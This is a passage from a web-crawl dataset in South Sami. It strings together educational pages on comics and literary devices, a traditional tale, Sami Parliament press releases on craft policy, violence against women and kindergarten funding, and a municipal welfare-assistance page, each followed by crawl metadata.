guvviedæjja stoerre guvvine aalka aktede jeetnjeste mij Miracleman'en uvte tjåådtje. Dan mænngan guvviedæjja tjelmide beaja Miracleman'ese. Dïhte jïjtse ruvtah åådtje, jïh ruvtaj stoeredahke læssene dramatihken mietie.\nLåtnoehtimmie hammoen jïh stoeredahken gaskem\nAktene seerijisnie gusnie joekoen jïjnje heannede lea vihkeles dej ovmessie ruvta-hammoej gaskem låtnoehtidh, jïh maaje dejtie smaave ruvtide nuhtjedh gosse edtja veelelaakan buerkiestidh mij heannede åenehks boelhkine.\nSåemies jeerehtsh leah amma læjhkan daerpies olles lohkije tuhtjh daate akte-laaketje jïh ovrovne sjædta.\nBaakoeh\nSaemien\nDaaroen\nruvta\nrute\ngamtoe-hammoe\nbreddeformat\njalloe-hammoe\nhøydeformat\nbeerkeme-aksjovne\nbergningsaksjon\njeatjah hammoeh\nandre format\nlåtnoehtimmie\nveksling\nGuvvie-raajroeKjernestoff\nMah ektie-bïejeme tjaalegh gååvnesieh?Kjernestoff\nGuktie ektiebïejeme tjaalegh bigkedhKjernestoff\nGuvvie-raajroej bïjreKjernestoff\n- Kjernestoff\nBoblah jïh effekte-tjoejhKjernestoff\nGuvvie-biehkieKjernestoff\nGuvvie-haerieKjernestoff\nSubjektijve guvvieKjernestoff\nÅvte jïh duekieKjernestoff\nStuerebh baakoehKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:175143\/topic:1:175146\/resource:1:172763","date":"2019-04-19T17:17:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00256.warc.gz","language":"sma","language_score":0.9999432564,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999432563781738}","num_words":254,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse mijjieh allusjovnem nuhtjebe dellie maam akt löönebe jeatjah tjaalegijstie, filmijste jallh laavloemijstie. Men maehtebe ajve daam viehkie-dïrreginie nuhtjedh jis lohkije, goltelæjja jallh vuartasjæjja daajra gustie mijjieh allusjovnem veedtjeme.\nGosse löönebe – ibie sualedh\nGosse mijjieh faage-tjaalegem tjaelebe tjoerebe bïevnesh gaavnedh jïh dejtie nuhtjedh. Gosse bïevnesh nuhtjebe mah jeatjebh leah tjaaleme, dellie tjoerebe mujhtedh tjaeledh gusnie bïevnesidie gaavneme. Jis ibie dam darjoeh dellie jeatjebh maehtieh jiehtedh mijjieh libie bïevnesidie sualadamme. Men gosse allusjovnem nuhtjebe, dellie ibie edtjh jiehtedh gustie gaavneme, jïh ibie edtjh gaaltijem tjaeledh. Dan åvteste lohkije jïjtje edtja löönemem vueptiestidh. Gosse mijjieh allusjovnh nuhtjebe dellie sïjhtebe lohkije edtja eensilaakan ussjedidh juktie dïhte tjaalegem buerebe guarkoe. Men mijjieh maehtebe ajve allusjovnem nuhtjedh jis lohkije, goltelæjja, jallh vuartasjæjja daajra gustie mijjieh allusjovnem veedtjeme. Sïejhme allusjovnh Bijpielistie nuhtjedh.\nVuesiehtimmie lidteratuvreste\nSigbjørn Skåden gærjam Skuovvadeddjid gonagas (Gaameh-gåarojen gånka) tjaaleme. Daennie gærjesne Skåden akten saemien bïjre tjaala, man nomme Jusup. Jusup lea göökteluhkie golmen jaepien båeries. Dïhte göökte jaepieh åarjelisnie orreme åvtelen vihth gåatan, noerhtese, jåhta. Åarjelisnie Jusup nïejtem råaka, man nomme Thea, jïh sutnjien györe. Men Jusup nïejtem laahpa fuelhkien gaavhtan gosse noerhtese jåhta. Jusup veanhta satne iktegisth tjuara bïjre jarkan vuelkedh. Dïhte jeahta satne lea mahte goh Ahasverus, dïhte ihkuve jööde. Ahasverus lea akte ålma aktene soptsesisnie\/mytesne Bijpelisnie, guhte lij jööde jïh gaameh-gåaroje. Dïhte Jeesusem haeniedi gosse Jeesuse Golgaatenen mietie veedtsi edtji kroessese noeresovvedh. Dan mænngan Ahasveruse döömesovvi, tjuara bïjre jarkan eatnamisnie fealadidh goske Kristi bååstede båata.\nVuesiehtimmie reklaameste\nGuvvesne mijjieh bruvse-leahpam vuejnebe fabrihkeste Hansa minaral-fabrikk Bergenisnie. Fabrihke Hansa lea nommem Eventyrbrus veeljeme, dan gaavhtan gosse mijjieh baakoem lohkebe jallh govlebe, dellie gellie mijjeste murreds mojhtesh åadtjobe. Kaanne dellie måjhtajibie gosse gie akt soptsesem jallh heamturem soptsesti jallh mijjieh heamture-filmem vuartasjimh.\nGuvvie bruvsen-leahpesne viehkehte juktie mijjieh heamturem ussjedibie. Leahpesne guvvie heamturistie Rööpses-tjohpe jïh snöölhke. Daate heamture lea dovne gieltegs jïh åehpies. Allusjovnh daamtaj reklaamesne åtnasuvvieh. Reklaame sæjhta mijjieh edtjebe maam akt lyjhkedh jïh dle åestedh. Mijjieh gujht daejrebe bruvse ij leah seamma goh heamture. Men allusjovnh mijjem tsevtsieh juktie aelhkebe mujhtiehtibie. Gosse mijjieh leahpam vuartasjibie dellie hijven mojhtesh åadtjobe jïh dellie kaanne vïenhtebe bruvse boehtelisnie aaj njaelkie.\nAllegorijeKjernestoff\n- Kjernestoff\nEufemisme jïh dysfemismeKjernestoff\nSealoedimmieKjernestoff\nLaejhtehkeKjernestoff\nRijme jïh jievkehtimmieKjernestoff\nMubpesth jiehtedhKjernestoff\nKontrasteKjernestoff\nMetonymijeKjernestoff\nPersonifikasjovneKjernestoff\nViertiestimmie, metafovre jïh klisjeKjernestoff\nSymbolhKjernestoff\nLaavenjassh: AllegorijeKjernestoff\nLaavenjassh: Eufemisme jïh dysfemismeKjernestoff\nLaavenjassh: SealoedimmieKjernestoff\nLaavenjassh: KontrasteKjernestoff\nLaavenjassh: Mubpesth jiehtedhKjernestoff\nLaavenjassh: PersonifikasjovneKjernestoff\nLaavenjassh: SymbolhKjernestoff\nMan jïjnjem maahtah?Kjernestoff\nMaam maahtah?Kjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:166611\/topic:1:182229\/resource:1:157429","date":"2019-05-24T02:09:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257481.39\/warc\/CC-MAIN-20190524004222-20190524030222-00550.warc.gz","language":"sma","language_score":0.999892354,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9998923540115356}","num_words":387,"character_repetition_ratio":0.091,"word_repetition_ratio":0.011,"special_characters_ratio":0.132,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaktjen 2018 Telemarksforskning barkoem åadtjoeji Saemiedigkeste Duodjeinstituhttam evalueradidh. Evalueradimmie lea vuartasjamme mennie mieresne Duodjeinstituhtta viehkehte Saemiedigkien ulmiem duedtine jaksedh, mennie mieresne bïhkedimmieöörnege Duodjeinstituhttesne viehkehte Saemiedigkien ulmiem duedtine jaksedh, jïh råajvarimmieh raeriestidh juktie vielie ulmieh jaksedh. Saemiedigkien ulmie duadtan lea jienebh jielemeaktöörh dåårrehtidh, lissiehtamme profesjonaliteete jïh lissiehtamme dïeneste.\nDuedtieinstituhttan barkoe lea uvtemes duedtien bïjre goh kultuvre jïh vætnoe. Reektehtse vihteste instituhte ajve såemiesmearan Saemiedigkien ulmiem duedtien bïjre goh jieleme dåarjohte, jïh instituhte ij ellieslaakan buektehth sov mandaatem illedh akten evtiedimmie- jïh maahtoejarngen bïjre duadtan goh jieleme, kultuvre jïh vætnoe.\nRåålla maam Duodjeinstituhtta åtna jïh dah laavenjassh dah darjoeh goh kultuvreguedtije jïh reerije immaterijelle kultuvreaerpeste, læjhkan stoerre ulmiem utnieh. Daesnie dah viehkiehtieh Saemiedigkien ulmiem jaksedh nænnoestehtemen bïjre saemien kultuvreste, identiteeteste jïh kultuvreaerpeste.\n–Duodjeinstituhtta aktem vihkeles råållam åtna goh kultuvreguedtije jïh reerije aerpievuekien daajroste, saemiedigkieraerie Berit Marie E. Eira.\nReektehtse juvnehte Duodjeinstituhtta jåarhka, men aktine gaertjiesåbpoe mandaatine. Goh akte maahtoejarnge duadtan goh immaterijelle kultuvreaerpie, jallh goh maahtoejarnge hammoedæmman\/designe, dorjese- jïh maarhkedeevtiedæmman.\n–Reektehtse jienebh ovmessie alternatijvh buakta juktie Duodjeinstituhttam guhkiebasse evtiedidh, Eira jeahta.\nDïhte tjïerteste Saemiedigkie ij leah naaken daejstie vuajnojste digkiedamme annje. Voestegh edtja reektehtsem åehpiedehtedh bearjadahken 15.03 Altesne, gaskem jeatjah Duodjeinstituhttine jïh duedtiesiebriejgujmie ektine. Reektehtse byögkeles.\n–Mijjieh bööredibie gaajhkh duedtieïedtjeladtjh sijjen lahtestimmieh Saemiedægkan buektedh dan varke gåarede, saemiedigkieraerie Berit Marie E. Eira minngemosth jeahta.\nGyhtjelassh jallh gihtjehtimmie, gaskesadth saemiedigkieraeriem Berit Marie E. Eira, mob. 913 28 626, email@example.com","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Saemiedigkien-ulmiem-daaaarje-naennoestehtemen-bijre-saemien-kultuvreste-identiteeteste-jih-kultuvreaerpeste","date":"2019-05-19T08:47:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232254731.5\/warc\/CC-MAIN-20190519081519-20190519103519-00415.warc.gz","language":"sma","language_score":0.9998526573,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9998526573181152}","num_words":221,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste Saemien lohkeme-gærja maam Knut Bergsland jïh Gustav Hasselbrink tjaaleme. Ella Holm Bull lea gærjam daaletje tjaeleme-vuekien mietie tjaaleme. Gærjesne heamturh, soptsesh jïh vaajesh gååvnesieh.\nDej baaletje såangoe\nDaah göökte vïelletjh dunnie Åahpetjisnie båeries tjidtjiem utnin. Dan båarasåbpoen gåmmasasse lea gujht gåetesne. Dellie dïhte nuerebe aaj nïejtem åtna. Dellie dam tjidtjebem haasta, edtja såångese dåeriedidh. Dïhte jis jeahta: «Haestieh vïellemdh, dellie dïhte dåerede.» Jïh dïhte gujht haasta dam båarasåbpoe vïellem, edtja dåeriedidh. Stealladieh gujht riejries, jïh tjidtjebe gujht bihkede guktie edtja dååsveridh gosse båata dahkoe. Jïh die vuelkieh.\nBåetieh dahkoe jakseminie, aereden dellie gujht varki, jïh doete såangoen-åejjie lea vuartesjeminie, mah nïejte-gåetie lea tjuedtjielamme. Dellie gujht nuala dam stoerre råantjoebealloem dehtie voesseste. Jïh dïhte niejte-gåetie, dah leah gujht aaj vuertieminie, dah leah gujht barre goh reavesjeminie. Jaa, dellie gujht klæpma dejnie bealline jïh rigkesje, edtja govledh mah svååroe dennie niejte-gåetesne. Jaa, eah govlh maam, ahte dijpie (vaalta) dam jïjtjese röövrem jïh skööhtie. Dellie gujht easkah guvlieh, jïh dellie Sagka gujht rïhpeste oksem jïh aaj svååroe dejnie stoerre bealline jïh jeahta: «Vuejnede tjaangede!»\nDellie gujht guvlieh, dellie die gujht tjaengieh gåatan. Jïh jeahta gujht buerie aerede jïh dellie jeahta gujht dejtie båeries almetjidie: «Manne leam dåeredeminie vïellem diekie, edtjem govledh mah ojhte reaktoe lea, guktie jeahta, edtja åadtjodh dam dov nïejtem.» Voehpesassa svååroe: «Reaktoe lea.» Jïh jaa dellie gujht aelkieh raeriestidh guktie edtjieh darjodh, mah edtjieh vuelkedh Tjeedtegi hearran gåajkoe jïh lyjsegsh vaeltedh. Jaa, dellie gujht dellie aelkieh jovkestalledh jïh maejkieh vuasahtalledh. Jïh dej tïjji jovkesth-gaaran dan voehpesassese beejin dam göökten daalem. Dïhte såangoen-åejjie jeahta dan voehpesassese dejnie jovkesth-gaerine «båetieh bööresth», jïh dïhte voehpesassa jeahta «vuertieh dahkoe».\nJaa tjuejkieh hojhte Tjeedtegidie dellie. Dïhte vïelle gujht tjuajka gåetide oktegh. Båata gåatan, tjidtjebe sæjhta gujht govledh saernieh, guktie lea gåaradamme. «Nov dïhte gåaradi,» svååroe dillie. Åadtjoejimh dellie barre vuertedh dejtie noeride bååstide gåetide. Nåå, dïhte nïejte dåajmije lij gujht — aehtjebh tjidtjebh leah gujht bïhkedamme, gosse vuanoven gåajkoe båata, edtja dåajmije årrodh. Jaa böötin gujht Tjeedtegistie, dïhte dellie orre gommeskodtje mij edtji dellie sjïdtedh.\nBaakoeh\nSaemien\nDaaroen\nreavasjidh\nspeide\nTjeedtege\nGäddede\nlyjsegsh vaeltedh\nta ut lysning\nbeejin, båiejin\nde la\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\n- Kjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:190283","date":"2019-05-24T00:08:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257432.60\/warc\/CC-MAIN-20190523224154-20190524010154-00558.warc.gz","language":"sma","language_score":0.9999257326,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999257326126099}","num_words":415,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EKTIE PREESSEBÏEVNESE AEHPIEJARNGEN TJAELEMESIJJESTE, MÏRRESTALLEME- JÏH SÏERREDIMMIETJIRKIJISTIE JÏH SAEMIEDIGKESTE:\nMahte 49 prosenth saemien nyjsenæjjijste Nöörjesne leah vædtsoesvoetem jallh daaresjimmiem dååjreme, taalh vuesiehtieh aktede reektehtsistie Nöörjen nasjonaale institusjovneste almetjereaktide. Vaanoej gaavhtan viehkieabparaatesne aaj maahta fåantojne årrodh man åvteste saemien nyjsenæjjah eah dam viehkiem åadtjoeh mïsse krïevenassem utnieh. Reektehtsisnie tjïerteste vædtsoesvoete saemien dajvesne maahta daaroedehtemepolitihken gaavhtan årrodh gelliej boelvi tjïrrh.\nTsiehkie itjmies. Joekoen daerpies orrestamme barkojne bijjemes dahkoesoejkesjinie, vaaksjome tjïeltijste jïh koordineradamme tjïelten dïenesjh gaajhkesidie.\n–Ibie buektehth dam oktegh loetedh. Aamhtese Divtasvuodnesne lij dïhte mij gaajhkem eelki jïh lij siebriedahke jïjtje mij minngemosth skraejriem veelti guktie systeeme tjoeri maam akt darjodh. Saemien siebriedahke jarkelimmiem sæjhta. Reerenasse tjuara dahkoesoejkesjinie nierhkedh vædtsoesvoeten jïh daaresjimmien vööste saemien siebriedahkine, tjïelke jïh veele sjïehtedamme råajvarimmiejgujmie, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nDaerpies lissiehtamme maahtojne\nTeematjåanghkosne vædtsoesvoeten bïjre nyjsenæjjaj vööste jïh vædtsoesvoeten bïjre lïhke ektiedimmine saemien siebriedahkine Saemiedigkesne Karasjohkesne gålkoen 26.b., jeenjesh dåarjoehtin pollise jïh viehkieabparaate tjuerieh sijjen maahtoem nænnoestehtedh saemien gïelen jïh kultuvren bïjre. Tjåanghkoe lij akte laavenjostoe Saemiedigkien, Aehpiejarngen tjaelemesijjien jïh Mïrrestalleme- jïh sïerredimmietjirkijen gaskem kampanjen sjïekenisnie Sjaevehtsvoete jieledem vaalta. Faatoes gïeleldh sjïehteladteme jïh kultuvredaajroe leah lissie heaptoeh dejtie leerhkehtallijidie mah viehkiem daarpesjieh.\nJeenjesh dejstie mah lin tjåanghkosne vïenhtin lea joekoen daerpies dahkoesoejkesjinie vædtsoesvoeten jïh daaresjimmien bïjre saemien siebriedahkine, mij dorjesåvva laavenjostosne saemien siebriejgujmie. Tjåanghkosne aaj tjïertestin gaajhkesh dovnesh maehtieh jïh tjuerieh meatan årrodh gæmhposne vædtsoesvoeten vööste nyjsenæjjaj vööste jïh vædtsoesvoeten vööste lïhke ektiedimmine viehkine doestedh dan bïjre soptsestidh jïh bïeljelidh dastegh vædtsoesvoetem såvma.\nSaemiedigkiepresidente Aili Keskitalo veanhta daerpies daam dåeriesmoerem vielie våajnoes darjodh.\n–Vædtsoesvoete tjuara tjöödtjestidh daelie. Daelie vihtiestamme man jïjnje vædtsoesvoete jïh daaresjimmie lea, jïh mijjieh tjoerebe råajvarimmiejgujmie nierhkedh. Åejvieladtjh Justijsedepartemeentine njueniehkisnie, tjuerieh råajvarimmiesoejkesjem hoksedh, mejnie nearhka jïh bæjjese fulkie. Vædtsoesvoete lea joekoen ovvåajnoes saemien byjresinie, men ij sïjhth jiehtedh gadtsoesvoete lea jååhkesjamme. Saemien ålmah jïh baernieh tjuerieh væjkalåbpoe sjïdtedh vielie vædtsoesvoeten bïjre soptsestidh, Keskitalo jeahta.\nLissiehtamme barkoe juktie heerredidh jïh vaarjelidh\nMïrrestalleme- jïh sïerredimmietjirkije Hanne Bjurstrøm jeahta lea tjyölkehke viehkieabparaate ij buektehth saemien årroejidie jaksedh heerredimmine, vaarjelimmine jïh viehkine gosse nyjsenæjjah vædtsoesvoetem lïhke ektiedimmine dååjroeh.\n–Gellie tjïelkestimmieh: gïele, daajroe saemien kultuvren bïjre, leajhtadimmie, beetnegh, geografeles gåhkoeh, ov-koordineradamme viehkieabparaate. Ij guhte daejstie lea hijven gaatelassjh, men haestemh mejtie staate jïh tjïelte tjuerieh loetedh. Saemieh mah vædtsoesvoetem dååjreme seamma reaktam utnieh viehkiem åadtjodh goh jeatjah almetjh tjïeltesne, Bjurstrøm jeahta.\nTove Smaadahl, biejjieladtje åvtehke Aehpiejarngen tjaelemesijjesne jeahta lea daerpies aktine lissiehtamme barkojne juktie heerredidh jïh vaarjelidh. Dotkeme vuesehte nyjsenæjjah mah vædtsoesvoetem dååjreme saemien siebriedahkine daamtaj eah doesth vædtsoesvoeten bïjre soptsestidh.\n–Nåake tjïelteekonomije Saemien aehpie- jïh incestejarngem Karasjohkesne håvhtede, mij lea dïhte aajnehke Nöörjesne mij faalenassem vadta joekoen saemien årroji vööste. Saemien aehpie- jïh Vincentejarnge tjuara beerkesovvedh. Tjuara aktem hijven faalenassem saemien årroejidie gorredidh, mij saemien gïelem jïh kultuvrem krööhkeste, Smaadahl jeahta.\nGalhkuvetjaatsege\nAkte galhkuvetjaatsege lea dorjesovveme tjåanghkoste, mij gaskem jeatjah lea bååstedebïevnese staatetjaeliejasse Knut Morten Johansen Justijse- jïh riejriesvoetedepartemeenteste, mij lij meatan tjåanghkosne Karasjohkesne.\nVåarome kampanjese Sjaevehtsvoete jieledem vaalta\nGålkoen 25.b. fïerhten jaepien dïhte gaskenasjonaale biejjie vædtsoesvoeten bïjre nyjsenæjjaj vööste jïh aalka gaskenasjonaale EN-kampanjem «16 Days of Activism Against Genderbased Violence». Sjaevehtsvoete jieledem vaalta daan rehpien nualan båata jïh lea akte laavenjostoe gaskem Aehpiejarngen tjaelemesijjie jïh Mïrrestalleme- jïh sïerredimmietjirkije. Daan jaepien laavenjostebe aaj Saemiedigkine jïh jarngesne utnebe vædtsoesvoete nyjsenæjjaj vööste jïh gadtsoesvoete lïhke ektiedimmine saemien siebriedahkine. Maahtoejarnge kriminaliteeteheerredæmman lea beetnehvierhtieh vadteme kampanjese Sjaevehtsvoete jieledem vaalta. Kampanje ulmine åtna viehkiehtidh heerredidh doh guejmiebåvvastimmieh mej bïjre bïeljelamme.\nGaskese:\nGaskesadth mijjen govlesadtemebarkijigujmie jis vielie bïevnesh jallh gihtjehtimmieh sïjhth:\n- Aehpiejarngen tjaelemesijjie, Lone Alice Johansen: 97137691 Lone Alice Johansen firstname.lastname@example.org\n- Mïrrestalleme- jïh sïerredimmietjirkije, Maj-Christel Skramstad: 95021487 \/ email@example.com\n- Saemiedigkie, Siv Eli Vuolab: 95168927 jallh e-påaste: firstname.lastname@example.org","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/AAejvieladtjh-leah-saemien-aarroejidie-beahteme-jih-tjuerieh-barkoem-lissiehtidh","date":"2019-05-19T19:14:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255092.55\/warc\/CC-MAIN-20190519181530-20190519203530-00287.warc.gz","language":"sma","language_score":0.9999984503,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999984502792358}","num_words":578,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne datne gaavnh laavenjassh faage-sæjrose Personifikasjovne.\n1. laavenjasse\nProfeete Kahlil Gibrane aavoen jïh sårkoen bïjre tjaaleme.\nLohkh biehkiem Kahlil Gibranen gærjeste vuelielisnie jïh vaestedh gyhtjelasside.\n- Mah abstrakte jiehtegh leah personifiseradamme?\n- Buerkesth Gibranen guvviem jïjtjedh baakoejgujmie.\n- Man åvteste vïenhth tjaelije naemhtie tjaaleme jïh ij aamhteseprosa-tjaalegem tjaaleme.\nSåemies dijjeste jiehtieh: «Aavoe stuerebe sårkoste», mubpieh jiehtieh: «Ijje, sårkoe stööremes.» Men jeahtam ibie maehtieh dejtie juekedh. Dah leah ektesne, jïh gosse akte dejstie oktegh dov baalte tjahkesjeminie, mujhtieh dellie, dïhte mubpie dov seangkosne åerieminie.\nAllegorijeKjernestoff\nAllusjovneKjernestoff\nEufemisme jïh dysfemismeKjernestoff\nSealoedimmieKjernestoff\nLaejhtehkeKjernestoff\nRijme jïh jievkehtimmieKjernestoff\nMubpesth jiehtedhKjernestoff\nKontrasteKjernestoff\nMetonymijeKjernestoff\nPersonifikasjovneKjernestoff\nViertiestimmie, metafovre jïh klisjeKjernestoff\nSymbolhKjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:166611\/topic:1:182229\/resource:1:169370","date":"2019-05-23T16:26:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257259.71\/warc\/CC-MAIN-20190523143923-20190523165923-00038.warc.gz","language":"sma","language_score":0.9998935461,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9998935461044312}","num_words":100,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan jaepien 848 maanah Nöörjesne saemien maanagïertefaalenassine. Dæjman låhkoe lij 758.\n– Tuhtjem joekoen hijven Saemiedigkien barkoe maanagïertefaalenassine hijven illedahkh vuesehte. Jiene-jienebh maanah saemien maanagïertefaalenassem åadtjoeh, jïh daate joekoen hijven. Båetijen aejkien gïeleutnijh daejnie maanagïertine gååvnesieh, jïh Saemiedigkien bieleste sïjhtebe aktem tjïelke barkoem utnedh maanaj aarkebeajjan maanagïertine, Saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nPrioriteradi gïelebarkoem maanagïertine nænnoestehtedh\nDåarjoe lea vadtasovveme 19 evtiedimmieprosjektide gusnie fokuse lea maanagïerti aarkebiejjiegïelem nænnoestehtedh dan voenges aerpievuekien saemien kultuvren tjïrrh.\nGaskem jeatjah dåarjoe lea vadtasovveme jïjtjh saemien gïelebarkijidie, noerhtesaemien giellačeahppi, maanagïertide dovne noerhte- jïh åarjelsaemien dajvesne.\n– Prosjekth goh gïelebarkije\/ giellačeahppi leah mij akt maam saemiedigkieraerie lea veeljeme prioriteradidh dan åvteste mijjieh sïjhtebe saemien gïelem maanagïertine nænnoestehtedh vielie goh maanagïerten biejjieladtje barkoedåehkie. Dan gaavhtan maanagïerth mieriem åadtjoeh gïelebarkojne gïehtelidh jïh akte vyörtegs vierhtie sjædta joekoen dejtie maanagïertide mah leah saemien åejviejarngine ålkoli, Mikkelsen jeahta.\nDaan jaepien joekedimmine Saemiedigkieraerie aaj prioriteradi aktem orre maanagïertefaalenassem tseegkedh. Tråanten tjïelte 300 000 kråvnah åådtje juktie orre saemien maanagïertem tseegkedh Tråanten tjïeltesne.\nSaemiedigkieraerie aaj dåarjoem dåårjeme pedagogeles materijellese. Daan jaepien lij ajve akte ohtsije daan öörnegasse. Davvi Girji AS lea 1 568 800 kråvnah åådtjeme juktie materijellepaahkem evtiedidh pedagogeles materijellese mij åtnoem skreejrehte daajesijstie jïh fysiske darjoemijstie.\nDåarjoeh maanagïertide abpe laantesne\nSaemiedigkieraerie aaj 7 120 000 dåarjojne dåårjeme saemien maanagïertide jïh saemien goevtesidie nöörjen maanagïertine. Dåarjoe lea daan jaepien joekedamme 31 maanagïertide, dovne privaate jïh tjïelten saemien maanagïertide jïh goevtesidie.\nLissine vadteme 2 535 000 kråvnah dåarjojne saemien gïelelïerehtæmman maanide nöörjen maanagïertine. Daesnie dåarjoem joekedi 31 maanagïertide abpe laantesne.\n– Saemiedigkien dåarjoeöörnegh viehkiehtieh joekehtsem darjodh. Maanagïerth abpe Nöörjesne maehtieh daelie sijjen faalenassem nænnoestehtedh jïh maanide aktem buerebe saemiengïeleldh aarkebiejjiem vedtedh dåarjoeöörnegen gaavhtan. Mijjese lea vihkeles maanide jarngesne utnedh jïh barkedh ihke dah edtjieh dam bööremes faalenassem utnedh jïh daan jaepien dåarjoeh leah vihkeles juktie daam ulmiem jaksedh, Mikkelsen minngemosth jeahta.\nFor spørsmål eller intervju, kontakt sametingsråd Mikkel Eskil Mikkelsen, mob. +47 917 42 161.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Madtjeles-juktie-jienebh-maanah-saemien-maanagiertefaalenassem-aaadtjoeh","date":"2019-05-19T08:58:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232254731.5\/warc\/CC-MAIN-20190519081519-20190519103519-00135.warc.gz","language":"sma","language_score":0.9999967813,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999967813491821}","num_words":289,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fassemedåarjoe\nFörsörjningsstöd\nFassemedåarjoe dejtie gieh ij maehtieh nuekies baalhka bakojne åadtjodh. Dåarjoe lea haammodamme juktie maadthdaarpojde nuekies goh beapmoeh, årromesijjie j.n.v. Dåarjoem fïerhten asken ohtsede jïh gåetehkh\/pruvres almetjh ekstesne ohtsedægan.\nKrïebpesjimmieh fassemedåarjose\nJis datne fassemedåarjoem ohtsede dellie sosiaaletjeanadimmie krïevie datna gaajhkem maam maahtah darjodh jijtse beetnegh dienedh jallh ekonomijen dåeriesmoeride vaestedh. V.g. tjoerh iedtjeles barkoeohtseje årrodh jïh barkohts. Jis dov leah v.g. beetnegh baanghkesne, aktierh jallh fondh edtjieh dah voestes iereste dov jielemasse nuhtjh. Datne maahtah ajve fassemedåarjoem åadtjodh jis ih maehtieh dov daarpoeh jeatjah vuekine gïetedidh. Ussjedh jis dov lea bijle dellie maahtah tjoeredh dam doekedh juktie jijste dov ekonomijen dåeriesmoerh gïetedidh.\nJeenjebh bïevnesh\nUpmejisnie årroeminie — sosiaaletjeanadimmien dåastovasse bieljeldh telefovne 090-16 10 02. Holmsundesne, Hörneforsesne jallh Sävarisnie årroeminie — tjïelten viekselasse ringkh 16 10 00, dov ierem tjïelkesh jïh gusnie årroeh dellie vijrebe riektes sæjjan beaja.\nSidan har granskats 